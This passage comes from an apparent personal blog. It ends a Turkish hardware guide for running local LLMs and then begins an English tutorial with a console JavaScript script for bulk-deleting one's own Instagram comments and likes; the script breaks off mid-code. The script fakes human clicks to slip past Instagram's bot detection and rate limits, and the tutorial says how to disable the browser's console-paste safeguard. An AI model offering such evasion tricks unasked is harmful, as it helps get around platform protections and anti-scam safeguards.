yan&inodot;na en az 32 GB h&inodot;zl&inodot; RAM ve modern bir i&scedil;lemci (Ryzen 7000 veya Intel 13. nesil ve &uuml;zeri) eklemek &scedil;art. E&gbreve;er bu donan&inodot;m bile&scedil;enlerini ad&inodot;m ad&inodot;m nas&inodot;l kurup yap&inodot;land&inodot;raca&gbreve;&inodot;n&inodot;z&inodot; merak ediyorsan&inodot;z <a href="/yerel-llm-kurulum-rehberi-2026/">Kendi Sunucunda Yapay Zeka (2026)</a> ba&scedil;l&inodot;kl&inodot; detayl&inodot; k&inodot;lavuzuma g&ouml;z atabilirsiniz.</p> <hr/> <h2 id="donanm-seviyeleri-ve-cebe-uyan-cozumler">Donan&inodot;m Seviyeleri ve Cebe Uyan &Ccedil;&ouml;z&uuml;mler 💰<a class="headerlink" href="#donanm-seviyeleri-ve-cebe-uyan-cozumler" title="Permanent link">#</a></h2> <p>2026 y&inodot;l&inodot;nda b&uuml;t&ccedil;enize g&ouml;re kurabilece&gbreve;iniz sistem seviyelerine ve yerel fiyatlara yak&inodot;ndan bakal&inodot;m.</p> <h3 id="cebe-zarar-vermeyecek-baslangc-seviyesi-2700-tl-13800-tl-60300">Cebe Zarar Vermeyecek Ba&scedil;lang&inodot;&ccedil; Seviyesi (2.700 TL &ndash; 13.800 TL / $60&ndash;$300)<a class="headerlink" href="#cebe-zarar-vermeyecek-baslangc-seviyesi-2700-tl-13800-tl-60300" title="Permanent link">#</a></h3> <p>Yapay zekan&inodot;n mant&inodot;&gbreve;&inodot;n&inodot; kavramak, 3B-8B (milyar parametre) aras&inodot; ufak tefek modellerle oynamak veya arka planda basit otomasyonlar &ccedil;al&inodot;&scedil;t&inodot;rmak istiyorsan&inodot;z &ouml;yle b&uuml;y&uuml;k paralar d&ouml;kmenize hi&ccedil; gerek yok. Llama 4 Scout veya Qwen 3.5'in k&uuml;&ccedil;&uuml;k modelleri, &scedil;a&scedil;&inodot;rt&inodot;c&inodot; derecede m&uuml;tevaz&inodot; donan&inodot;mlarda bile t&inodot;k&inodot;r t&inodot;k&inodot;r &ccedil;al&inodot;&scedil;&inodot;yor. Hangi modeli se&ccedil;ece&gbreve;iniz konusunda karars&inodot;z kald&inodot;ysan&inodot;z <a href="/en-iyi-yerel-llm-modelleri-2026/">En &Idot;yi Yerel LLM Modelleri (2026)</a> incelemem size yol g&ouml;sterecektir.</p> <ul> <li><strong>Raspberry Pi 5 (4GB/8GB):</strong> Fiyat&inodot; bizim buralarda 5.600 TL ile 6.300 TL aras&inodot;nda geziniyor (ka&gbreve;&inodot;t &uuml;st&uuml;nde 60$ ama malum vergiler ve ithalat maliyetleri). Sistemi kurcalamak, &ouml;&gbreve;renmek i&ccedil;in e&gbreve;lenceli bir hobi arac&inodot; ama saniyede ancak 1-2 kelime &uuml;retebiliyor. Yani sab&inodot;rl&inodot; olman&inodot;z laz&inodot;m. Arka planda s&uuml;rekli a&ccedil;&inodot;k kalacak k&uuml;&ccedil;&uuml;k otomasyonlar i&ccedil;in ideal.</li> <li><strong>Intel Arc B580:</strong> Akak&ccedil;e'de 12.000 TL civar&inodot;nda bulabilece&gbreve;iniz bu kart, 12 GB VRAM sunarak b&uuml;y&uuml;k bir s&uuml;rpriz yap&inodot;yor. Intel'in oneAPI deste&gbreve;i sayesinde 7B'lik modelleri &scedil;a&scedil;&inodot;rt&inodot;c&inodot; derecede ak&inodot;c&inodot; &ccedil;al&inodot;&scedil;t&inodot;rabiliyorsunuz.<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></li> <li><strong>NVIDIA RTX 4060 (8GB):</strong> 13.700 TL dolaylar&inodot;nda sat&inodot;l&inodot;yor. Belle&gbreve;i 8 GB oldu&gbreve;u i&ccedil;in biraz s&inodot;n&inodot;rda ama NVIDIA'n&inodot;n CUDA ekosistemi o kadar geni&scedil; ve sorunsuz ki, yapay zekaya ad&inodot;m atarken ba&scedil;&inodot;n&inodot;z&inodot;n en az a&gbreve;r&inodot;yaca&gbreve;&inodot; se&ccedil;enek budur.</li> </ul> <h3 id="orta-segment-fiyatperformans-canavarlar-23000-tl-55000-tl-5001200">Orta Segment: Fiyat/Performans Canavarlar&inodot; (23.000 TL &ndash; 55.000 TL / $500&ndash;$1.200)<a class="headerlink" href="#orta-segment-fiyatperformans-canavarlar-23000-tl-55000-tl-5001200" title="Permanent link">#</a></h3> <p>Yaz&inodot;l&inodot;mc&inodot;lar&inodot;n ve bu i&scedil;i g&uuml;nl&uuml;k i&scedil; ak&inodot;&scedil;&inodot;na dahil etmek isteyenlerin bakmas&inodot; gereken yer tam olarak buras&inodot;. Modelleri &ccedil;ok fazla s&inodot;k&inodot;&scedil;t&inodot;rmadan, kafan&inodot;z rahat &scedil;ekilde &ccedil;al&inodot;&scedil;t&inodot;racak VRAM ve sohbet h&inodot;z&inodot;n&inodot; s&inodot;k&inodot;nt&inodot;ya sokmayacak bellek bant geni&scedil;li&gbreve;i bu segmentte ba&scedil;l&inodot;yor.</p> <ul> <li><strong>AMD RX 9070 XT (16GB):</strong> RDNA4 mimarisi ve AMD'nin nihayet toparlayan ROCm deste&gbreve;iyle bu kart, yakla&scedil;&inodot;k 30.000 - 35.000 TL band&inodot;nda bulunabiliyor. 13B veya 14B seviyesindeki modeller i&ccedil;in bi&ccedil;ilmi&scedil; kaftan.</li> <li><strong>Mac Mini M4 (32GB Birle&scedil;ik Bellek):</strong> &Ccedil;al&inodot;&scedil;ma masas&inodot;nda s&inodot;f&inodot;r ses ve d&uuml;&scedil;&uuml;k elektrik faturas&inodot; isteyenler i&ccedil;in &scedil;u an daha iyisi yok. Apple'&inodot;n birle&scedil;ik bellek mimarisi sayesinde 14B ve hatta 32B modelleri &scedil;a&scedil;&inodot;rt&inodot;c&inodot; bir kararl&inodot;l&inodot;kla ko&scedil;turuyor. T&uuml;rkiye'de baz (16GB) modeli 35.000 TL civar&inodot;ndan ba&scedil;lasa da, yapay zeka i&ccedil;in 32GB s&uuml;r&uuml;m&uuml;n&uuml; se&ccedil;mek &scedil;art. Onun da fiyat&inodot; yakla&scedil;&inodot;k 53.000 TL civar&inodot;na &ccedil;&inodot;k&inodot;yor.</li> <li><strong>Masamdaki Gizli Form&uuml;l: &Idot;kinci El RTX 3090 + H&inodot;zl&inodot; DDR5 Bellekler:</strong> Do&gbreve;rudan s&inodot;f&inodot;r ve en pahal&inodot; par&ccedil;alara ko&scedil;mak yerine ak&inodot;ll&inodot;ca bir hibrit sistem kurmak benim bu konudaki favori y&ouml;ntemim. Kendi &ccedil;al&inodot;&scedil;ma odamda kurdu&gbreve;um test sisteminde, ikinci elden temiz bir RTX 3090 ekran kart&inodot;n&inodot; y&uuml;ksek h&inodot;zl&inodot; DDR5-8000 belleklerle e&scedil;le&scedil;tirdim. <code>llama.cpp</code> &uuml;zerinden modelin katmanlar&inodot;n&inodot;n bir k&inodot;sm&inodot;n&inodot; ekran kart&inodot; belle&gbreve;ine (VRAM), s&inodot;&gbreve;mayan kalan k&inodot;sm&inodot;n&inodot; ise h&inodot;zl&inodot; sistem belle&gbreve;ine (RAM) y&uuml;kleyecek &scedil;ekilde ayarlad&inodot;m. Bu sayede 130.000 TL'lik bir i&scedil; istasyonu maliyetine girmeden, neredeyse yar&inodot; fiyat&inodot;na 70B'lik devasa modelleri gayet makul bir h&inodot;zda ko&scedil;turabiliyorum.</li> </ul> <h3 id="profesyonel-lig-paraya-kyp-canavar-arayanlar-73000-tl-135000-tl-16003000">Profesyonel Lig: Paraya K&inodot;y&inodot;p Canavar Arayanlar (73.000 TL &ndash; 135.000 TL+ / $1.600&ndash;$3.000+)<a class="headerlink" href="#profesyonel-lig-paraya-kyp-canavar-arayanlar-73000-tl-135000-tl-16003000" title="Permanent link">#</a></h3> <p>Hedefiniz 70B ve &uuml;zeri devasa modelleri &ccedil;al&inodot;&scedil;t&inodot;rmak, karma&scedil;&inodot;k mant&inodot;k y&uuml;r&uuml;tme (reasoning) ad&inodot;mlar&inodot;n&inodot; yerelde halletmek ve tamamen size &ouml;zel yerel ajanlar ko&scedil;turmaksa, y&uuml;ksek VRAM ve y&uuml;ksek bellek bant geni&scedil;li&gbreve;ine paray&inodot; basmak zorundas&inodot;n&inodot;z.</p> <ul> <li><strong>Yeni Nesil Amiral Gemisi (RTX 5090 / 5080):</strong> NVIDIA'n&inodot;n Blackwell mimarisi ve ultra h&inodot;zl&inodot; GDDR7 bellekleri bu i&scedil;in zirvesi. RTX 5090'&inodot;n sundu&gbreve;u 32 GB VRAM, b&uuml;y&uuml;k modellerin dilini &ccedil;&ouml;z&uuml;yor. &Uuml;lkemizde fiyat&inodot; vergilerle falan can yaksa da en tepe performans&inodot;n adresi buras&inodot;.</li> <li><strong>&Ccedil;ift RTX 3090 Kurulumu:</strong> Kasa toplamaktan, donan&inodot;mla u&gbreve;ra&scedil;maktan korkmayanlar i&ccedil;in gizli bir cennet. &Idot;kinci elden bulaca&gbreve;&inodot;n&inodot;z iki adet RTX 3090 size toplamda 48 GB VRAM sunuyor. 70B'lik modelleri tamamen ekran kart&inodot; belle&gbreve;inde, saniyede 15-20 kelime gibi muazzam bir h&inodot;zla &ccedil;al&inodot;&scedil;t&inodot;rman&inodot;n en hesapl&inodot; yolu h&acirc;l&acirc; bu.</li> <li><strong>Mac Studio M4 Ultra (64GB+ Birle&scedil;ik Bellek):</strong> "Ben bilgisayar&inodot;n i&ccedil;ini a&ccedil;makla, s&uuml;r&uuml;c&uuml;lerle, &ccedil;ift kart&inodot;n &inodot;s&inodot;s&inodot;yla u&gbreve;ra&scedil;amam, fi&scedil;e tak&inodot;p &ccedil;al&inodot;&scedil;s&inodot;n" diyen profesyoneller i&ccedil;in nihai &ccedil;&ouml;z&uuml;m. Tek s&inodot;k&inodot;nt&inodot;s&inodot; c&uuml;zdanda b&inodot;rakaca&gbreve;&inodot; o derin yara.</li> </ul> <hr/> <h2 id="hangi-seviye-sana-uygun-karslastrma-tablosu_1">Hangi Seviye Sana Uygun? (Kar&scedil;&inodot;la&scedil;t&inodot;rma Tablosu)<a class="headerlink" href="#hangi-seviye-sana-uygun-karslastrma-tablosu" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">Seviye</th> <th style="text-align: left;">Yakla&scedil;&inodot;k B&uuml;t&ccedil;e</th> <th style="text-align: left;">En &Idot;yi F/P Cihaz&inodot;</th> <th style="text-align: left;">Model Kapasitesi</th> <th style="text-align: left;">&Idot;deal Kullan&inodot;m Amac&inodot;</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">Giri&scedil; Seviyesi</td> <td style="text-align: left;">2.700 TL &ndash; 13.800 TL</td> <td style="text-align: left;">Intel Arc B580</td> <td style="text-align: left;">3B &ndash; 8B</td> <td style="text-align: left;">&Ouml;&gbreve;renme ve K&uuml;&ccedil;&uuml;k Ajanlar</td> </tr> <tr> <td style="text-align: left;">Orta Segment</td> <td style="text-align: left;">23.000 TL &ndash; 55.000 TL</td> <td style="text-align: left;">RX 9070 XT / M4</td> <td style="text-align: left;">13B &ndash; 34B</td> <td style="text-align: left;">Kodlama ve G&uuml;nl&uuml;k Yard&inodot;mc&inodot;</td> </tr> <tr> <td style="text-align: left;">70B Hibrit</td> <td style="text-align: left;">~50.000 TL</td> <td style="text-align: left;">2. El 3090 + DDR5</td> <td style="text-align: left;">70B (S&inodot;k&inodot;&scedil;t&inodot;r&inodot;lm&inodot;&scedil;)</td> <td style="text-align: left;">&Ouml;zel Mant&inodot;k Y&uuml;r&uuml;tme</td> </tr> <tr> <td style="text-align: left;">Profesyonel</td> <td style="text-align: left;">73.000 TL+</td> <td style="text-align: left;">RTX 5090 / &Ccedil;ift 3090</td> <td style="text-align: left;">70B+ (Tam H&inodot;z)</td> <td style="text-align: left;">Profesyonel &Idot;&scedil; Ak&inodot;&scedil;lar&inodot;</td> </tr> </tbody> </table> <hr/> <h2 id="bellek-boyutu-ve-skstrma-quantization-oranlar">Bellek Boyutu ve S&inodot;k&inodot;&scedil;t&inodot;rma (Quantization) Oranlar&inodot; 📊<a class="headerlink" href="#bellek-boyutu-ve-skstrma-quantization-oranlar" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">Model Boyutu</th> <th style="text-align: left;">FP16 (S&inodot;k&inodot;&scedil;t&inodot;r&inodot;lmam&inodot;&scedil;)</th> <th style="text-align: left;">Q8 (8-bit S&inodot;k&inodot;&scedil;t&inodot;rma)</th> <th style="text-align: left;">Q4 (4-bit S&inodot;k&inodot;&scedil;t&inodot;rma)</th> <th style="text-align: left;">Minimum Ekran Kart&inodot;</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">7B</td> <td style="text-align: left;">14-16 GB</td> <td style="text-align: left;">8-10 GB</td> <td style="text-align: left;">4-6 GB</td> <td style="text-align: left;">RTX 4060 (8GB)</td> </tr> <tr> <td style="text-align: left;">13B</td> <td style="text-align: left;">26-30 GB</td> <td style="text-align: left;">15-18 GB</td> <td style="text-align: left;">10-14 GB</td> <td style="text-align: left;">RX 9070 (16GB)</td> </tr> <tr> <td style="text-align: left;">34B</td> <td style="text-align: left;">68-75 GB</td> <td style="text-align: left;">38-45 GB</td> <td style="text-align: left;">20-25 GB</td> <td style="text-align: left;">RTX 3090/4090 (24GB)</td> </tr> <tr> <td style="text-align: left;">70B</td> <td style="text-align: left;">140-160 GB</td> <td style="text-align: left;">75-85 GB</td> <td style="text-align: left;">35-45 GB</td> <td style="text-align: left;">2x RTX 3090 / RTX 5090</td> </tr> </tbody> </table> <hr/> <h2 id="yazlm-taraf-bu-donanm-nasl-kosturacagz">Yaz&inodot;l&inodot;m Taraf&inodot;: Bu Donan&inodot;m&inodot; Nas&inodot;l Ko&scedil;turaca&gbreve;&inodot;z? ⚙️<a class="headerlink" href="#yazlm-taraf-bu-donanm-nasl-kosturacagz" title="Permanent link">#</a></h2> <p>Elinizde donan&inodot;m ne kadar g&uuml;&ccedil;l&uuml; olursa olsun, do&gbreve;ru yaz&inodot;l&inodot;mlarla beslemedi&gbreve;iniz s&uuml;rece o kartlar kasada yatan pahal&inodot; birer oyuncaktan &ouml;teye gitmez. 2026 itibar&inodot;yla yerel yapay zeka d&uuml;nyas&inodot;nda elimiz aya&gbreve;&inodot;m&inodot;z olan &uuml;&ccedil; ana ara&ccedil; var:</p> <ul> <li><strong><a href="https://ollama.com/" rel="noopener noreferrer" target="_blank">Ollama</a>:</strong> Geli&scedil;tiriciler i&ccedil;in can simidi. Kurulumu o kadar kolay ki, ekran kart&inodot; s&uuml;r&uuml;c&uuml;leriyle veya model dosyalar&inodot;yla u&gbreve;ra&scedil;may&inodot; tamamen unutturuyor.</li> <li><strong><a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank">LM Studio</a>:</strong> G&ouml;rsel aray&uuml;z sevenler i&ccedil;in en iyi se&ccedil;enek. Model Ba&gbreve;lam Protokol&uuml; (MCP) deste&gbreve;i sayesinde, yereldeki modellerin kendi yerel dosyalar&inodot;m&inodot;zla g&uuml;venli &scedil;ekilde konu&scedil;mas&inodot;n&inodot; sa&gbreve;l&inodot;yor. VS Code ve LM Studio entegrasyonuyla kendi kod asistan&inodot;n&inodot;z&inodot; s&inodot;f&inodot;rdan kurmak isterseniz <a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Yerel AI Kurulum Rehberi (LM Studio &amp; VS Code)</a> yaz&inodot;ma g&ouml;z atabilirsiniz.</li> <li><strong><a href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank">llama.cpp</a>:</strong> Neredeyse t&uuml;m yerel sistemlerin arkas&inodot;ndaki motor budur. Kendi hibrit sisteminizi kuracaksan&inodot;z, ekran kart&inodot; belle&gbreve;i ile sistem belle&gbreve;i aras&inodot;ndaki dengeyi y&ouml;netmek i&ccedil;in bu arac&inodot; kullanacaks&inodot;n&inodot;z.</li> </ul> <p>Ekran kart&inodot; &uuml;zerinde modeli aya&gbreve;a kald&inodot;rmak i&ccedil;in terminalde &scedil;u komutu ko&scedil;turman&inodot;z yeterlidir:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama4 </code></pre></div> <hr/> <h2 id="performansn-dibine-vurmak-icin-kucuk-hileler">Performans&inodot;n Dibine Vurmak &Idot;&ccedil;in K&uuml;&ccedil;&uuml;k Hileler 💡<a class="headerlink" href="#performansn-dibine-vurmak-icin-kucuk-hileler" title="Permanent link">#</a></h2> <ol> <li><strong>S&inodot;k&inodot;&scedil;t&inodot;rmay&inodot; (Quantization) Es Ge&ccedil;meyin:</strong> Modelleri s&inodot;k&inodot;&scedil;t&inodot;r&inodot;lmam&inodot;&scedil; (FP16) haliyle &ccedil;al&inodot;&scedil;t&inodot;rmaya zorlamay&inodot;n. Q4_K_M veya Q5_K_M gibi s&inodot;k&inodot;&scedil;t&inodot;rma formatlar&inodot;nda kaybolan kaliteyi fark etmek neredeyse imkans&inodot;zken, h&inodot;z ve bellek tasarrufu inan&inodot;lmaz seviyelere ula&scedil;&inodot;yor.</li> <li><strong>Kasa &Idot;&ccedil;i Serinlik:</strong> &Ccedil;ift ekran kartl&inodot; veya y&uuml;ksek y&uuml;k alt&inodot;nda &ccedil;al&inodot;&scedil;an sistemlerde en b&uuml;y&uuml;k d&uuml;&scedil;man&inodot;n&inodot;z s&inodot;cakl&inodot;kt&inodot;r. Kartlar &inodot;s&inodot;nd&inodot;k&ccedil;a frekans k&inodot;sar ve performans&inodot;n&inodot;z d&uuml;&scedil;er. O y&uuml;zden bol fanl&inodot;, hava ak&inodot;&scedil;&inodot; ferah bir kasa se&ccedil;in.</li> <li><strong>H&inodot;zl&inodot; Sistem Belle&gbreve;i Se&ccedil;in:</strong> E&gbreve;er b&uuml;t&ccedil;eniz k&inodot;s&inodot;tl&inodot;ysa ve modelin bir k&inodot;sm&inodot;n&inodot; sistem RAM'ine aktar&inodot;yorsan&inodot;z, DDR4 yerine y&uuml;ksek h&inodot;zl&inodot; <strong>DDR5-8000</strong> bellek tercih etmek saniyede &uuml;retilen kelime h&inodot;z&inodot;n&inodot; ciddi oranda art&inodot;r&inodot;r.</li> </ol> <hr/> <h2 id="peki-gunun-sonunda-bu-macera-parasna-deger-mi">Peki G&uuml;n&uuml;n Sonunda Bu Macera Paras&inodot;na De&gbreve;er mi?<a class="headerlink" href="#peki-gunun-sonunda-bu-macera-parasna-deger-mi" title="Permanent link">#</a></h2> <p>Gelin ufak bir hesap yapal&inodot;m.</p> <ul> <li><strong>Bulut Servisleri (GPT-4o/Claude 3.5)</strong>: Bireysel kullan&inodot;mda ayl&inodot;k API faturalar&inodot; kolayca 2.000 TL ile 4.000 TL aras&inodot;na ula&scedil;abiliyor.</li> <li><strong>Yerel Sistem</strong>: 45.000 TL'lik bir orta seviye kurulum, kendini yakla&scedil;&inodot;k 12-18 ay i&ccedil;inde amorti eder. &Uuml;stelik elektrik faturas&inodot; da eklense bile uzun vadede tamamen k&acirc;rl&inodot;d&inodot;r.</li> </ul> <p>Daha da &ouml;nemlisi, buluta ba&gbreve;&inodot;ml&inodot; olmaman&inodot;n getirdi&gbreve;i kafa rahatl&inodot;&gbreve;&inodot;d&inodot;r. 2026 y&inodot;l&inodot; Nisan ay&inodot;ndaki Anthropic kesintisinde g&ouml;rd&uuml;&gbreve;&uuml;m&uuml;z gibi, t&uuml;m i&scedil; ak&inodot;&scedil;&inodot;n&inodot; buluta ba&gbreve;lamak b&uuml;y&uuml;k bir risk. Uzun laf&inodot;n k&inodot;sas&inodot;, yerelde &ccedil;al&inodot;&scedil;mak bulutun devasa i&scedil;lem g&uuml;c&uuml;n&uuml; yakalamak anlam&inodot;na gelmiyor. Ancak masan&inodot;z&inodot;n alt&inodot;nda &ccedil;al&inodot;&scedil;an, internete ba&gbreve;&inodot;ml&inodot; olmayan, verinizi d&inodot;&scedil;ar&inodot; s&inodot;zd&inodot;rmayan ve API faturas&inodot; kesmeyen bir sistem kurmak inan&inodot;lmaz derecede tatmin edicidir dostum. 🚀</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>B&uuml;y&uuml;k dil modellerinde her kelime &uuml;retildi&gbreve;inde t&uuml;m model a&gbreve;&inodot;rl&inodot;klar&inodot; bellekten i&scedil;lemci &ccedil;ekirdeklerine aktar&inodot;l&inodot;r. Bu y&uuml;zden saniyede &uuml;retilen kelime h&inodot;z&inodot;n&inodot; do&gbreve;rudan bellek h&inodot;z&inodot; belirler.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Intel Arc serisi kartlar&inodot; yapay zekada kullanmak i&ccedil;in Linux &uuml;zerinde Intel'in kendi oneAPI s&uuml;r&uuml;c&uuml;lerini kurman&inodot;z gerekir. Kurulum ad&inodot;mlar&inodot; NVIDIA CUDA'ya g&ouml;re biraz daha u&gbreve;ra&scedil;t&inodot;r&inodot;c&inodot;d&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-31T09:30:00+03:002026-05-31T09:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-31:/en/instagram-toplu-yorum-ve-begeni-silme-rehberi/

<p>A practical JavaScript automation guide for the browser console that bypasses the Bloks UI barrier for those who want to clean up their Instagram history.</p>

<p>Last night, after the kids were asleep, I was sipping my coffee at my desk ☕, rummaging through old archives. My eyes landed on the code for that famous Instagram bot I wrote years ago and a demo video I captured back then <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. At that time, Instagram's total user count was only about 2 million, and thanks to my bot, it personally touched 1.9 million of them 😂. The funny part is, back then, everyone using bots was getting banned left and right, while people curiously asked me: "Dude, how are you not getting banned when everyone else is?" 😎 I had taken the bot from Selenium and brought it to a level where it could run with UI Automator on mobile devices. 📱</p> <script async="" src="//www.instagram.com/embed.js"></script> <p>Years have passed, but Instagram's policy of tormenting users hasn't changed much. 🤦&zwj;&male;️ It's 2026, and on this massive platform, you can't perform any bulk actions properly; you have to delete and edit every interaction one by one. They treat us like occasional social media users with a few interactions tucked away. Trying to select and delete thousands of comments one by one in Instagram's own interface is like trying to empty the ocean with a spoon. 🥄🌊</p> <p>There are browser extensions online that perform this bulk deletion task, and they sell them for prices around 20 euros. 💸 But in this guide, I'm giving you JavaScript code that does the same thing, for a price slightly more than free (meaning completely free), my friend 😂.</p> <p>With this code, I managed to completely clean up my own account in almost 1 day. ✨ Instagram initially tried to scare me. When I used to attempt to clean my profile, it would block me for 1 day for "doing too many of the same thing," disrupting some basic account functions. 🚫 However, with this method, I've deleted tens of thousands of comments and likes without any issues so far, not even a single warning. The secret is keeping the number of items selected at once (the <code>MAX</code> value) at a maximum of 20 for deletion and unliking operations.</p> <hr/> <h2 id="why-dont-standard-clicking-methods-work">💡 Why Don't Standard Clicking Methods Work?<a class="headerlink" href="#why-dont-standard-clicking-methods-work" title="Permanent link">#</a></h2> <p>Instagram uses a dynamic structure called <strong>Bloks</strong> instead of classic HTML elements in its interface. This structure, for security reasons, ignores standard triggers like <code>element.click()</code> directly in JavaScript.</p> <p>To overcome this issue, I designed a custom function called <code>realClick</code>. This function triggers <code>mousedown</code>, <code>mouseup</code>, and <code>click</code> pointer events sequentially with realistic timings to send a signal to the browser that "a human is actually clicking here." This allows us to automatically select elements without getting caught by the platform's security mechanisms.</p> <hr/> <h2 id="preparation-and-things-to-note">🛠️ Preparation and Things to Note<a class="headerlink" href="#preparation-and-things-to-note" title="Permanent link">#</a></h2> <p>Before running the script, we need to pay attention to these critical rules:</p> <div class="admonition warning"> <p class="admonition-title">Warning</p> <p><strong>Language Setting Required:</strong> The interface language of your Instagram account <strong>must</strong> be <strong>English</strong>. The scripts search for the texts "Select," "Delete," and "Unlike" in the buttons to function, so they won't find the buttons in the Turkish interface and will stop.</p> </div> <p>It is crucial to navigate to the relevant page based on the type of interaction you want to perform. Which tab you are on determines the accuracy of these codes:</p> <ul> <li><strong>Likes Page:</strong> <a href="https://www.instagram.com/your_activity/interactions/likes" rel="noopener noreferrer" target="_blank">Likes</a></li> <li><strong>Comments Page:</strong> <a href="https://www.instagram.com/your_activity/interactions/comments" rel="noopener noreferrer" target="_blank">Comments</a></li> <li><strong>Reposts Page:</strong> <a href="https://www.instagram.com/your_activity/interactions/reposts" rel="noopener noreferrer" target="_blank">Reposts</a></li> <li><strong>Story Replies Page:</strong> <a href="https://www.instagram.com/your_activity/interactions/story_replies" rel="noopener noreferrer" target="_blank">Story Replies</a></li> <li> <p><strong>Reviews Page:</strong> <a href="https://www.instagram.com/your_activity/interactions/reviews" rel="noopener noreferrer" target="_blank">Reviews</a> <sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></p> </li> <li> <p>Open the Instagram web version from your computer and log in.</p> </li> <li>Navigate to the appropriate page from the links above based on the type of interaction you want to delete.</li> <li>Right-click on your browser and select <strong>Inspect</strong> or open the developer console by pressing the <code>F12</code> key.</li> </ul> <div class="admonition tip"> <p class="admonition-title">Tip</p> <p><strong>Console Paste Solution:</strong> If your browser prevents you from pasting code into the console, type <code>allow pasting</code> in the console line and press Enter. Then, try pasting the script again.</p> </div> <hr/> <h2 id="1-deletion-script-for-comments-posts-story-replies-and-reviews">📝 1. Deletion Script for Comments, Posts, Story Replies, and Reviews<a class="headerlink" href="#1-deletion-script-for-comments-posts-story-replies-and-reviews" title="Permanent link">#</a></h2> <p>The following script is used to bulk delete your comments, reposts, story replies, and reviews. Simply copy the code, paste it into the console, and press Enter.</p> <div class="highlight"><pre><span></span><code><span class="cm">/**</span> <span class="cm"> * Instagram Bulk Interaction Deletion Script</span> <span class="cm"> * For Comments, Reposts, Story Replies, and Reviews.</span> <span class="cm"> */</span> <span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">instagramBulkDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span> <span class="w"> </span><span class="c1">// Keep the number of deletions per cycle low for your safety</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">MAX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">10</span><span class="p">;</span><span class="w"> </span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">CYCLE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">20000</span><span class="p">;</span><span class="w"> </span><span class="c1">// Delay between cycles (ms)</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">SELECT_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1200</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">ICON_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">700</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">DELETE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1500</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">sleep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">ms</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="w"> </span><span class="nx">ms</span><span class="p">));</span> <span class="w"> </span><span class="c1">// Simulate a real click</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">element</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">[</span><span class="s2">"mousedown"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mouseup"</span><span class="p">,</span><span class="w"> </span><span class="s2">"click"</span><span class="p">].</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">eventType</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">dispatchEvent</span><span class="p">(</span> <span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">MouseEvent</span><span class="p">(</span><span class="nx">eventType</span><span class="p">,</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">view</span><span class="o">:</span><span class="w"> </span><span class="nb">window</span><span class="p">,</span> <span class="w"> </span><span class="nx">bubbles</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">cancelable</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">buttons</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span> <span class="w"> </span><span class="p">}),</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> 